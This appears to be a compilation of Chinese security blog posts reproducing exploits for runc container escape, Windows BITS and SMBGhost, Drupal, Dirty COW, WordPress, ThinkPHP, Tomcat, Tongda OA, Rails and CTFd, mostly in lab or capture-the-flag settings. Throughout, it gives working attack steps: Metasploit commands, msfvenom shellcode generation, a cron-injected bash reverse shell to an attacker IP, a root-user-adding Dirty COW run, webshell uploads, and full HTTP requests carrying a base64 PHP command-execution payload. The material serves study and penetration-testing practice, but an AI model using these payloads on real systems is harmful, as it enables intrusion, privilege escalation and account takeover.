0x00 概述

2019年2月11日,runc的维护团队报告了一个新发现的漏洞,该漏洞最初由Adam Iwaniuk和Borys Poplawski发现。该漏洞编号为CVE-2019-5736,漏洞影响在默认设置下运行的Docker容器,并且攻击者可以使用它来获得主机上的root级访问权限。

0x01 漏洞原理

漏洞点在于runc,runc是一个容器运行时,最初是作为Docker的一部分开发的,后来作为一个单独的开源工具和库被提取出来。作为“低级别”容器运行时,runc主要由“高级别”容器运行时(例如Docker)用于生成和运行容器,尽管它可以用作独立工具。
像Docker这样的“高级别”容器运行时通常会实现镜像创建和管理等功能,并且可以使用runc来处理与运行容器相关的任务:创建容器、将进程附加到现有容等。
在Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc二进制文件,攻击者可以在宿主机上以root身份执行命令。

0x02 利用方式

宿主机利用攻击者提供的image来创建一个新的container 。
拥有container root权限,并且该container后续被docker exec attach。

一句话描述,docker 18.09.2之前的runc存在漏洞,攻击者可以修改runc的二进制文件导致提权。

0x03 漏洞复现

一、安装漏洞环境。(Ubuntu16.04)
curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh

第一遍安装完Docker后拉取镜像会异常缓慢,可【Ctrl】+【C】终止后添加Docker加速源

systemctl daemon-reload
service docker restart

配置完加速源后,再重新运行bash install.sh拉取镜像时就快了,完成后就进入了开启的docker容器中了。

再看下此时的漏洞环境,docker和docker-runc版本如下:

二、编译go脚本生成攻击payload

1.下载POC: https://github.com/Frichetten/CVE-2019-5736-PoC

切换到root用户或以root用户身份编译main.go文件:sudo gedit main.go

2.修改Payload中的内容,写入一个反弹Shell的代码,其中打码部分是我服务器的IP

编译生成payload
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

3.将该payload拷贝到docker容器中(此时可以模拟攻击者获取了docker容器权限,在容器中上传payload进行docker逃逸) 并执行

docker cp main c37c910028ae:/home
docker exec -it c37c910028ae bash
cd /home/
chmod 777 main
./main

4.在服务器上利用NetCat监听8888端口

5.【Ctrl】+【Shift】+【T】新建一个终端,进入Docker容器中,触发Payload

6.运行后可以看到之前的终端中有回显同时服务器处收到反弹Shell

此时查看IP也会发现该IP是运行Docker的ubuntu16.04的IP,所以成功实现了Docker容器的逃逸。

0x00 漏洞描述

Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品。Microsoft Windows是一套个人设备使用的操作系统。Background Intelligent Transfer Service(BITS)是其中的一个后台智能传输服务组件。Microsoft Windows Background Intelligent Transfer Service中存在提权漏洞,该漏洞源于该服务无法正确处理符号链接。攻击者可通过执行特制的应用程序利用该漏洞覆盖目标文件,提升权限。

以下产品及版本受到影响

Microsoft Windows 7 SP1,Windows 8.1,Windows RT 8.1,Windows 10,Windows Server 2008 SP2,Windows Server 2008 R2 SP1,Windows Server 2012,Windows Server 2012 R2,Windows Server 2016,Windows Server 2019,Windows 10版本1607,Windows 10版本1709,Windows 10版本1803,Windows 10版本1809,Windows 10版本1903,Windows 10版本1909,Windows Server版本1803,Windows Server版本1903,Windows Server版本1909。

0x01 漏洞复现

下载编译好的exe文件: https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION/releases

将exe上传到目标机器,运行后会开启一个system权限的cmd命令框

0x00 准备

靶机下载: https://www.vulnhub.com/entry/lampiao-1,249/

双击ovf文件,导入到Vmware中,选择NAT模式

Kali:192.168.194.192

0x01 利用知识及工具

nmap、netdiscover、脏牛提权、metasploit

0x02 测试

首先netdiscover扫描同一C段:netdiscover -i eth0 -r 192.168.194.1/24,找到目标机器IP:192.168.194.144.

利用nmap的TCP半开放扫描,对网站端口进行快速探测,nmap -sS -p 1-65535 192.168.194.144,该扫描方式因为它不打开一个完全的TCP连接,所以是使用频率最高的扫描方式。扫描结果发现开放22、80、1898端口

访问Web页面(80端口),仔细检查后没得到敏感信息,再次访问1898端口访问到正确的Web页面,在结尾看到cms是Drupal

想到CVE-2018-7600,利用msf打一波,msfconsole进入,search drupal,选择2018年的这个。

use exploit/unix/webapp/drupal_drupalgeddon2
set rhosts 192.168.194.144
set rport 1898
set target 0
run

成功拿到session会话,输入shell进入shell终端,再利用python获得一个TTY终端

python -c 'import pty; pty.spawn("/bin/bash")' ,发现是www-data权限。

接下来进行提权,首先查看下内核版本:uname -a

看到版本较高,但有可能存在 CVE-2016-5195 ,也就是脏牛(Dirty Cow)漏洞-Linux一个内核本地提权漏洞 。黑客可通过远程入侵获取低权限用户后,利用该漏洞在全版本Linux系统服务器上实现本地提权,从而获取到服务器root权限。

漏洞影响范围:Linux Kernel >= 2.6.22 的所有 Linux 系统

意味着从 2007 年发布 2.6.22 版本开始,直到2016年10月18日为止,这中间发行的所有 Linux 系统都受影响。而我们的靶机为ubuntu14.04.5更新时间为16年-8月-05所以存在漏洞

在Kali中自带脏牛的脚本文件,新开一个终端【Ctrl】+【Shift】+【T】输入searchsploit dirty,找到需要的文件路径。

返回取得Shell的终端,按【Ctrl】+【C】返回meterpreter的session会话上传cpp文件到/tmp目录下,因为该目录一般是所有用户都具有可读可写权限

upload /usr/share/exploitdb/exploits/linux/local/40847.cpp /tmp

上传后再进入TTY的终端下,对cpp文件进行编译。

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

1-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
2-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
3-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
4-std=c++11就是用按C++2011标准来编译的
5-pthread 在Linux中要用到多线程时,需要链接pthread库
6-o dcow gcc生成的目标文件,名字为dcow

再运行编译后文件并将结果输出到一个文本中./dcow > status.txt

可以看到重置了Root用户的密码为:dirtyCowFun

最后ssh连接以Root用户身份登录。

但是网上常用的是c文件所编译的,该文件依然在Kali中可以找到,该c文件编译后执行的结果将将新增一个root权限的用户,并增加一个对应密码。

接下来上传,进行编译,步骤同上。

meterpreter > upload /usr/share/exploitdb/exploits/linux/local/40839.c /tmp

www-data@lampiao:/tmp$ gcc -pthread 40839.c -o dirty -lcrypt

执行编译后文件进行提权./dirty password(新增的root用户的密码可自定义)

运行完毕后,看到给出了一个具有root用户权限的用户名“firefart”和我们自定义的密码“password”,再开一个终端尝试进行ssh连接。

可以看到第二个执行的c文件编译程序后新增了一个root权限的用户firefart,并在/etc/passwd中可以看到。

0x00 准备

靶机下载:

https://www.vulnhub.com/entry/bsides-vancouver-2018-workshop,231/#release

双击ovf文件,导入到Vmware中,选择NAT模式

Kali:192.168.194.140

0x01 测试

首先nmap扫描同一C段:nmap 192.168.194.1/24,找到目标机器IP:192.168.194.143,且开放21、22、80端口。

访问Web页面(80端口)

使用dirsearch.py脚本进行目录扫描:

python dirsearch.py -u “http://192.168.194.143/” -e *

访问robots.txt,得到一个弃用的Wordpress的路径地址,访问首页看到了作者:john,得到一个用户名。

接着使用dirsearch.py进行扫描:

python dirsearch.py -u “192.168.194.143/backup_wordpress/” -e *

访问/readme,可以看到该站的版本为4.5一个很老的版本,现在最新已经出5.4了,这种老站已经相对很少了,但是对付老站就可以掏出神器wpscan进行漏扫。

root@kali:~# wpscan –url http://192.168.194.143/backup_wordpress/ –enumerate u

枚举出两个可用用户admin、john

访问:http://192.168.194.143/backup_wordpress/wp-login.php进行抓包爆破后台密码,载入一个常用密码字典即可。网上搜罗,最终得到john的密码是enigma

进入后台后选择“外观”->“编辑”->404 模板.php, 修改404.php文件写一个反弹Shell的PHP木马,可用Kali中自带的,路径: /usr/share/webshells/php/php-reverse-shell.php 将IP写为Kali的IP,端口为Kali端用nc监听端口。

在下方点击“Update File”更新即可,然后访问指定路径:http://192.168.194.143/backup_wordpress/wp-content/themes/twentysixteen/404.php

该路径可以看出是右边两个红圈的名字,当处于加载转动状态,回到Kali监听端即可看到反弹回Shell

接着利用python做一个交互式的TTL的终端,命令:python -c 'import pty; pty.spawn("/bin/bash")',查看当前权限是www-data,然后查看下可以登录该机器的用户有哪些。

其中存在几个拥有bash权限的用户,利用hydra尝试爆破下SSH密码,最终只得到anni的密码为princess

SSH连接登录:ssh anne@192.168.194.143 随后提权到root用户,拿到flag

第二种方法:查看定时任务,存在一个以root用户定时执行的任务

查看原有的cleanup是以一个清除Apach日志记录的,将其重新写入,注意这样拿到的Shell没有rm和vi命令,只能通过echo进行写入

echo ‘#!/bin/bash’ > cleanup

echo ‘bash -i >& /dev/tcp/192.168.194.140/4444 0>&1’ >> cleanup

然后快捷键【Ctrl】+【Shift】+【T】新开一个终端,监听4444端口,一会就收到root用户的Shell了。

网上现在已经有很多复现的文章了,我也做一个学习总结。

0x00 漏洞描述

2020年3月10日,微软在其官方SRC发布了CVE-2020-0796的安全公告(ADV200005,MicrosoftGuidance for Disabling SMBv3 Compression),公告表示在Windows SMBv3版本的客户端和服务端存在远程代码执行漏洞。同时指出该漏洞存在于MicroSoft Server Message Block 3.1.1协议处理特定请求包的功能中,攻击者利用该漏洞可在目标SMB Server或者Client中执行任意代码。

0x01 影响范围

  • Windows 10 Version 1903 for 32-bit Systems
  • Windows 10 Version 1903 for x64-based Systems
  • Windows 10 Version 1903 for ARM64-based Systems
  •  Windows Server, Version 1903 (Server Core installation)
  • Windows 10 Version 1909 for 32-bit Systems
  • Windows 10 Version 1909 for x64-based Systems
  • Windows 10 Version 1909 for ARM64-based Systems
  • Windows Server, Version 1909 (Server Core installation)

0x02 准备工作

Win10 1903的镜像:https://pan.baidu.com/s/1G2oyLolCK62VNDI1GGSOXA&shfl=sharepset#list/path=%2F

漏洞检测工具: https://github.com/ollypwn/SMBGhost

奇安信检测工具: http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip

蓝屏POC: https://github.com/eerykitty/CVE-2020-0796-PoC

本地提权POC:https://github.com/danigargu/CVE-2020-0796/releases/download/v1.0/cve-2020-0796-local_static.zip

远程漏洞利用POC:https://github.com/chompie1337/SMBGhost_RCE_PoC

0x03 漏洞复现

首先注意不是任意Win10都存在该漏洞,注意对应版本,Vmware安装完镜像后,需要关闭防火墙,不然主机的流量无法过去。选择“打开网络和Internet设置”

点击“Windows防火墙”,将以下三个网络全部关闭,之后进行漏洞检测和利用。

Win10虚拟机IP此时为192.168.194.137

1)漏洞检测的两个工具,第一个利用方式

第二个奇安信的工具的利用方式,可进行批量检测

2)蓝屏POC脚本执行前需安装需要的库pip install ntlm_auth,python3环境下运行,运行后虚拟机立马就蓝屏重启了。

3)本地提权POC,需要将exe文件上传到目标机器,但不具备免杀效果,所以需要关闭杀毒。

在目标机器上运行exe文件会弹出一个system权限的shell对话框,成功提权。

4)远程漏洞利用POC

1-首先使用Kali的msfvenom生成一个python类型正向连接的shellcode。

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b ‘\x00’ -i 1 -f python

2-将生成的 shellcode 替换 POC 中 exploit.py 里的USER_PAYLOAD字段,注意要将buf替换为USER_PAYLOAD,同时注意msfvenom生成的shellcode比exploit.py里原有多几行,需自行添加补齐。

3-msfconsole开启监听端口

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
options
set rhost 192.168.194.137
run​

4-运行exploit.py 执行命令: python exploit.py -ip 192.168.194.137

过程中需要多执行几次,经常会出现“[-] physical read primitive failed!”的语句就终止了。

5-当成功运行起来后,出现到“[+] Press a key to execute shellcode!”执行shellcode按下“Enter”时,会大概率把Win10打蓝屏重启,其中一次没有重启,但Kali中的监听端口却没有收到Shell,按下【Ctrl】+【C】,再重新执行run命令,就会收到meterpreter的Shell了。

6-拿到Shell后可结合本地提权的POC,在关掉杀毒,防火墙的情况下运行进行提权。

0x01 简介

ThinkPHP框架是MVC结构的开源PHP框架,遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。该漏洞源于ThinkPHP 6.0的某个逻辑漏洞,成功利用此漏洞的攻击者可以实现“任意”文件创建,在特殊场景下可能会导致GetShell。

0x02 漏洞概述

2020年1月10日,ThinkPHP团队发布一个补丁更新,修复了一处由不安全的SessionId导致的任意文件操作漏洞。该漏洞允许攻击者在目标环境启用session的条件下创建任意文件以及删除任意文件,在特定情况下还可以getshell。

0x03 影响版本

ThinkPHP 6.0.0-6.0.1

0x04 环境搭建

利用PHPStudy对环境进行搭建

1.安装Composer

下载Composer-Setup.exe ,链接: https://getcomposer.org/download/

执行安装文件,选择php.exe位置,一路默认安装成功

composer拉取环境会卡住,换成国内镜像。

composer config -g repo.packagist composer https://packagist.phpcomposer.com

2.安装thinkphp

TP6下载:https://github.com/top-think/think 下载后放到phpstudy的根目录即可

创新项目之前,先切换到web项目目录windows+R 进入cmd命令窗口

composer create-project topthink/think tp6 (tp6自定义,这个会生成一个文件夹) 这里说一个问题,我这个时间Thinkphp的最新版是6.0.2,用上面的命令下载下来framework是6.0.2版本的,我们需要再执行一条命令:composer require topthink/framework:6.0.0:此时就会把将6.0.0的版本把6.0.2给替换掉

成功后配置php对应的环境变量(这个自行百度),注意php开启和配置的环境变量要对应且要php7.1以上,我这里用的是phpstudypro的最高版本php7.3

接着进入刚刚生成的tp6的目录,输入php think run, 默认运行在localhost:8000

接下来访问127.0.0.1:8000就可以看到搭建成功了

0x05 漏洞利用

在目标环境开启session且写入的session可控的情况下,容易遭受任意文件写入攻击。

修改/app/controller/Index.php 文件

session(‘demo’,$_GET[‘c’]);

修改 /app/middleware.php 文件如下

这里注意PHPSESSID的值一定要是32位(算上.php)这样才可以,接着在通过变量c传递任意代码。

可以看到文件在runtime\session下生成,内容并写入

接下来进行访问即可,同时将phpinfo代码改成一句话代码,即可Getshell。

0x06 修复

目前官网已经更新了thinkphp6.0.2版本(目前最新),修复了该漏洞,建议尽快升级最新版本。

知识点:什么是war包

war 包是一种打包格式
Java web工程,都是打成war包,进行发布,打成war包的好处是不会缺少目录,并且只管理好一个发布文件就好,并且tomcat服务器能够自动识别,将war包放在tomcat容器的webapps下,启动服务,即可运行该项目,该war包会自动解压出一个同名的文件夹。
war 包的结构(是一个web 项目编译后的结果)

本篇文章以墨者学院的Tomcat后台弱口令漏洞利用这道题为例

首先访问页面发现是Tomcat8.0.33的,因为在实际渗透测试中我对Tomcat的漏洞挖掘只停留在 7.0.0-7.0.81 的CVE-2017-12615(Tomcat Put文件上传),面对以上版本的没有好的利用思路。本篇将对弱口令进入后台的利用做学习总结

默认后台的路径是:manager/html,也可以直接点击“Manager App”,题目已知猜测是弱口令,尝试admin/123456进入后台,实际漏洞挖掘中可能需要进行一个暴力破解尝试登陆,或者对网站类型分析后查阅相关的默认账户和密码。

发现允许上传的是war包,所以我们需要将JSP马制作成war包进行上传,上传后会被Tomcat识别进行一个解压。

首先准备好一个jsp马,准备好Java环境,以管理员模式运行cmd,进入java\jdk1.8.0_241\bin的目录下,将jsp马复制到此文件夹下。

jar cvf  +要生成的war木马 +自己bin目录下的jsp木马

完成后会在该目录下生成一个war木马。

最后对该war包进行上传,会看到生成路径

该war包将在根目录下自行解压,访问/xss/ma.jsp输入密码caicaihk即可。

最后在根目录下可以找到key值

附上jsp大马链接
链接:https://pan.baidu.com/s/1AXvrpt94shfVnnyqdizjHw
提取码:uqsy

本文章所用木马仅作实验,切勿用作非法用途。

▶漏洞描述

通达OA是北京通达信科科技有限公司出品的 “Office Anywhere 通达网络智能办公系统”。

3月13日,通达OA在官方论坛发布通告称,近日接到用户反馈遭到勒索病毒攻击,提示用户注意安全风险,并且于同一天对所有版本发布了加固补丁。

在受影响的版本中,攻击者可以在未认证的情况下向服务器上传jpg图片文件,然后包含该文件,造成远程代码执行。该漏洞无需登录即可触发。

▶漏洞影响版本

  • V11版
  • 2017版
  • 2016版
  • 2015版
  • 2013增强版
  • 2013版

▶ 漏洞分析与复现

任意文件上传

在厂商补丁的其他版本中出现了ispirit/im/upload.php这个路径,跟进来一看实际上是一个很明显的文件上传漏洞,而且是未授权的文件上传,分段来看一下代码。

先看未授权部分,P不为空的情况下,包含inc/session.php,并且通过 session_id 注册 session ,P可通过 POST[‘P’] ,因此不多赘述。

$P = $_POST["P"];
if (isset($P) || ($P != "")) {
	ob_start();
	include_once "inc/session.php";
	session_id($P);
	session_start();
	session_write_close();
}

再看下面这一小段,假设 DEST_UID 为空的情况下,会直接返回接收方ID无效相关信息,并且退出,因此这里的处理方式也很简单, DEST_UID 可通过 POST[“DEST_UID”] 搞定,这里也不多赘述了。

$DEST_UID = $_POST["DEST_UID"];
$dataBack = array();
if (($DEST_UID != "") && !td_verify_ids($ids)) {
	$dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
	echo json_encode(data2utf8($dataBack));
	exit();
}

再往下走,当$_FILES全局变量大于等于1的时候,简单理解就是有文件上传的时候,会调用 upload 函数进行处理,这里的文件上传的 namename="ATTACHMENT"

if (1 <= count($_FILES)) {
	if ($UPLOAD_MODE == "1") {
		if (strlen(urldecode($_FILES["ATTACHMENT"]["name"])) != strlen($_FILES["ATTACHMENT"]["name"])) {
			$_FILES["ATTACHMENT"]["name"] = urldecode($_FILES["ATTACHMENT"]["name"]);
		}
	}

	$ATTACHMENTS = upload("ATTACHMENT", $MODULE, false);

跟进 upload 方法,可以很明显看到 is_uploadable 这个方法针对上传的文件名进行判断。

function upload($PREFIX, $MODULE, $OUTPUT)
{
	if (strstr($MODULE, "/") || strstr($MODULE, "\\")) {
		if (!$OUTPUT) {
			return _("参数含有非法字符。");
		}

		Message(_("错误"), _("参数含有非法字符。"));
		exit();
	}
  ...
		if ($ATTACH_ERROR == UPLOAD_ERR_OK) {
			if (!is_uploadable($ATTACH_NAME)) {
				$ERROR_DESC = sprintf(_("禁止上传后缀名为[%s]的文件"), substr($ATTACH_NAME, strrpos($ATTACH_NAME, ".") + 1));
			}

很明显存在一个后缀名非法的判断,所以这点并不能直接上传PHP文件。

function is_uploadable($FILE_NAME)
{
	$POS = strrpos($FILE_NAME, ".");

	if ($POS === false) {
		$EXT_NAME = $FILE_NAME;
	}
	else {
		if (strtolower(substr($FILE_NAME, $POS + 1, 3)) == "php") {
			return false;
		}

继续往下走,因为上传不回显的话,搞定了也没啥用,还得猜文件名麻烦,找到了一个回显的地方。

if ($UPLOAD_MODE == "1") {
... if ($MSG_CATE == "file") {
$CONTENT = "[fm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/fm]";
} else if ($MSG_CATE == "image") {
$CONTENT = "[im]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/im]";
} else {
$DURATION = intval($DURATION);
$CONTENT = "[vm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $DURATION . "[/vm]";
}
...
$dataBack = array("status" => 1, "content" => $CONTENT, "file_id" => $FILE_ID); echo json_encode(data2utf8($dataBack));

​手动验证构造文件上传poc

POST /ispirit/im/upload.php HTTP/1.1
Host: 目标IP
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 925
Content-Type: multipart/form-data; boundary=e59b4539bd28a1b69eb29cc9fa61fbc1

--e59b4539bd28a1b69eb29cc9fa61fbc1
Content-Disposition: form-data; name="P"

123
--e59b4539bd28a1b69eb29cc9fa61fbc1
Content-Disposition: form-data; name="DEST_UID"

1
--e59b4539bd28a1b69eb29cc9fa61fbc1
Content-Disposition: form-data; name="UPLOAD_MODE"

2
--e59b4539bd28a1b69eb29cc9fa61fbc1
Content-Disposition: form-data; name="ATTACHMENT"; filename="1.txt"

<?php
$fp = fopen('readme.php', 'w');
$a = base64_decode("JTNDJTNGcGhwJTBBJTI0Y29tbWFuZCUzRCUyMndob2FtaSUyMiUzQiUwQSUyNHdzaCUyMCUzRCUyMG5ldyUyMENPTSUyOCUyN1dTY3JpcHQuc2hlbGwlMjclMjklM0IlMEElMjRleGVjJTIwJTNEJTIwJTI0d3NoLSUzRWV4ZWMlMjglMjJjbWQlMjAvYyUyMCUyMi4lMjRjb21tYW5kJTI5JTNCJTBBJTI0c3Rkb3V0JTIwJTNEJTIwJTI0ZXhlYy0lM0VTdGRPdXQlMjglMjklM0IlMEElMjRzdHJvdXRwdXQlMjAlM0QlMjAlMjRzdGRvdXQtJTNFUmVhZEFsbCUyOCUyOSUzQiUwQWVjaG8lMjAlMjRzdHJvdXRwdXQlM0IlMEElM0YlM0U=");
fwrite($fp, urldecode($a));
fclose($fp);
?>

--e59b4539bd28a1b69eb29cc9fa61fbc1--​

base64加密的内容可以自行构造,这里base64加密的原文是

<?php
$command=”whoami”;
$wsh = new COM(‘WScript.shell’);
$exec = $wsh->exec(“cmd /c “.$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

发送后会在我们搭建的OA平台的根目录下的/attach/im/2003目录下生成850248632.1.txt,BP中因为后端代码原因将名字改变了。下面构造文件包含的时候注意更改。

文件包含

执行了文件上传要达到RCE的目的,还需要一个文件包含,包含点从补丁上找找,是这个ispirit/interface/gateway.php

简单分析一下,解析一个循环解析$json,假设$keyurl 的情况下,它的值会丢给$url,之后会调用 include_once 针对这个进行包含了。

if ($json) {
$json = stripcslashes($json);
$json = (array) json_decode($json); foreach ($json as $key => $val ) { if ($key == "data") {
$val = (array) $val; foreach ($val as $keys => $value ) {
$keys = $value;
}
} if ($key == "url") {
$url = $val;
}
} if ($url != "") { if (substr($url, 0, 1) == "/") {
$url = substr($url, 1);
} if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) { include_once $url;
}
}

​ 所以从代码来看非常的简单,简单提一嘴,这套代码有 disable_function 的限制,需要bypass一下,整个过程非常的简单。

接下来再构造文件包含POC

POST /ispirit/interface/gateway.php HTTP/1.1
Host: 目标IP
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 61
Content-Type: application/x-www-form-urlencoded

json={"url":"/general/../../attach/im/2003\/850248632.1.txt"}

​运行完成后会在interface文件下生成一个readme.txt,访问即可看到我们之前base64构造的“whoami”命令执行结果。

本文章仅作漏洞复现。

文章参考:https://forum.90sec.com/t/topic/883

0x00 简介

Ruby on Rails是一个 Web 应用程序框架,是一个相对较新的 Web 应用程序框架,构建在 Ruby 语言之上。它被宣传为现有企业框架的一个替代,而它的目标,就是让 Web 开发方面的生活,变得更轻松。

0x01 漏洞概述

这个漏洞主要是由于Ruby on Rails使用了指定参数的render file来渲染应用之外的视图,我们可以通过修改访问某控制器的请求包,通过“../../../../”来达到路径穿越的目的,然后再通过“{{”来进行模板查询路径的闭合,使得所要访问的文件被当做外部模板来解析。

0x02 影响版本

Rails 全版本

其中修复版本:

Rails 6.0.0.beta3,5.2.2.1,5.1.6.2,5.0.7.2,4.2.11.1

0x03 环境搭建

git clone https://github.com/vulhub/vulhub.git
cd /vulhub/rails/CVE-2019-5418
docker-compose up -d
自行修改端口默认3000

访问robots抓包将Accept的值改为如下所示,实现任意文件读取。权限还很高,应该是root权限可以读取shadow文件。

Accept: ../../../../../../etc/passwd{{

考点:CVE-2020-7245 CTFd v2.0.0 – v2.2.2漏洞分析复现

一、漏洞介绍

​ 在 CTFd v2.0.0 – v2.2.2 的注册过程中,如果知道用户名并在 CTFd 实例上启用电子邮件,则攻击者可以修改任意帐户的密码。

​ 漏洞影响范围

​ V2.0.0-V2.2.2

二、漏洞分析

首先找到它注册部分的代码

def register():
    errors = get_errors()
    if request.method == 'POST':
        name = request.form['name']
        email_address = request.form['email']
        password = request.form['password']

        name_len = len(name) == 0
        names = Users.query.add_columns('name', 'id').filter_by(name=name).first()
        emails = Users.query.add_columns('email', 'id').filter_by(email=email_address).first()
        pass_short = len(password) == 0

​ 可以看到 当我们通过POST发来注册请求的时候,其中的name参数并没有经过处理,而是直接被再次当作参数传入。

        else:
            with app.app_context():
                user = Users(
                    name=name.strip(),
                    email=email_address.lower(),
                    password=password.strip()
                )

​ 当name通过了各种检查之后,即将存入时,使用了strip方法对name进行了处理。

这就意味着,如果我们在用户名的首尾添加上空格的时候,可以绕过用户名重复的检查

存入数据库之前空格会被删去,那么就会导致注册的用户名会和数据库中已有的重复。

​ 然后找到他的找回密码部分的代码

def reset_password(data=None):
    if data is not None:
        try:
            name = unserialize(data, max_age=1800)
        except (BadTimeSignature, SignatureExpired):
            return render_template('reset_password.html', errors=['Your link has expired'])
        except (BadSignature, TypeError, base64.binascii.Error):
            return render_template('reset_paassword.html', errors=['Your reset token is invalid'])

        if request.method == "GET":
            return render_template('reset_password.html', mode='set')
        if request.method == "POST":
            user = Users.query.filter_by(name=name).first_or_404()
            user.password = request.form['password'].strip()
            db.session.commit()
            log('logins', format="[{date}] {ip} -  successful password reset for {name}", name=name)
            db.session.close()
            return redirect(url_for('auth.login'))

​ 这里发现,会取出data,来找一下data是什么

def forgot_password(email, team_name):
    token = serialize(team_name)
    text = """Did you initiate a password reset? Click the following link to reset your password:

{0}/{1}

""".format(url_for('auth.reset_password', _external=True), token)

    sendmail(email, text)


def verify_email_address(addr):
    token = serialize(addr)
    text = """Please click the following link to confirm your email address for {ctf_name}: {url}/{token}""".format(
        ctf_name=get_config('ctf_name'),
        url=url_for('auth.confirm', _external=True),
        token=token
    )
    sendmail(addr, text)

​ 发现发到邮箱里的url是 {url}/{token}。

​ 到这里,漏洞的利用方式就大概出来了。

  • 首先注册一个用户名包含空格,默认的管理员是admin,那么就可以注册一个 admin。
  • 然后,退出登录,点重置密码。
  • 这时候邮箱里就会收到一个url,这个url后面拼接的token实际上是属于用户名admin的
  • 将自己注册的账号用户名修改成其他
  • 然后点开链接修改密码,admin的密码就被修改了

三、漏洞复现

以BUUCTF上的[V&N2020 公开赛]HappyCTFd为例

因为需要邮箱,BUU中靶机无法访问外网,利用内部资源注册一个邮箱

1)打开题目靶机,注册一个CTFd的号,邮箱为刚刚注册的。

2)在url后加上/reset_password,进入重置密码的界面,输入刚刚注册的邮箱

3)发送完成后选择“settings” 把我们注册的用户名改为123或其他

4)过一会就会在邮箱中收到重置密码的邮件,重置密码为任意,这里改为123

5)接下来跳转到登录界面,输入admin和刚刚重置的密码123成功登录到管理员账户。实际到此漏洞已经复现成功。重置了管理员密码

注:CTFd管理员账号默认admin

对于该题最后登录admin用户后在“Admin Panel”模块里找到“challenges”–>“Files”下载文件即可。

实际测试中,邮箱可以填自己的,只要在目标后加上一个空格再进行注册即可。